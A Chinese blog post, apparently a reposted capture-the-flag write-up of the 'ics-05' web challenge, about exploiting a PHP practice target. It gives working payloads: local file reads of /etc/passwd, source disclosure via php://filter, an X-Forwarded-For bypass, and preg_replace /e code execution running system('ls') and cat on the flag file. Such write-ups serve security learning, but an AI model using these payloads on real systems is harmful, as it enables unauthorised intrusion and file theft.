攻防世界-web:ics-05

2021-03-10 09:30

阅读:500

标签:代码   源代码   漏洞   cat   相同   dex   http   reg   系统   

题目描述

其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

题目截图

技术图片

解题思路

查看源代码发现一个url链接
技术图片
尝试访问这个url
技术图片
将参数更换为:/etc/passwd
技术图片
发现存在文件读取漏洞
尝试读取index.php
技术图片
回显ok
利用file协议读取/var/www/html/index.php
技术图片

PHP伪协议文件读取

就是无法获取php源代码,这个时候可以利用php://filter伪协议读取
php://filter/read=convert.base64-encode/resource=index.php
技术图片
读到了index.php的源代码

代码审计

base64解码源代码
技术图片
发现代码中存在异常代码
preg_replace函数:
技术图片
这个函数存在命令执行漏洞
技术图片
技术图片
搜索到这个
技术图片
可以看出当函数第一个参数用//e修饰,第三个参数与第一个参数相同时,第二个参数可以当作php代码执行。
即preg_replace("/123/e", "phpinfo()", "123");可以执行phpinfo()函数。
我们发现这三个参数都是我们可控的,所以只要能够绕过$_SERVER[‘HTTP_X_FORWARDED_FOR‘] === ‘127.0.0.1‘即可命令执行。

HTTP_X_FORWARDED_FOR绕过

我们可以利用burp抓包改包实现绕过。
技术图片

命令执行测试

下面我们构造参数进行命令执行
payload:?pat=/123/e&rep=phpinfo()&sub=123
技术图片
成功执行phpinfo()

查看目录文件

payload:?pat=/123/e&rep=eval(system("ls"))&sub=123
技术图片
发现可疑文件夹

查看疑文件夹

payload:?pat=/123/e&rep=eval(system("ls+s3chahahaDir/"))&sub=123
技术图片
发现flag文件夹

查看flag文件夹

payload:?pat=/123/e&rep=eval(system("ls+s3chahahaDir/flag"))&sub=123
技术图片
发现flag.php

查看flag.php

payload:?pat=/123/e&rep=eval(system("cat+s3chahahaDir/flag/flag.php"))&sub=123
技术图片
得到flag

攻防世界-web:ics-05

标签:代码   源代码   漏洞   cat   相同   dex   http   reg   系统   

原文地址:https://www.cnblogs.com/suferma/p/12853422.html

上一篇:13_EL&JSTL

下一篇:17_Ajax&Json


评论


亲,登录后才可以留言!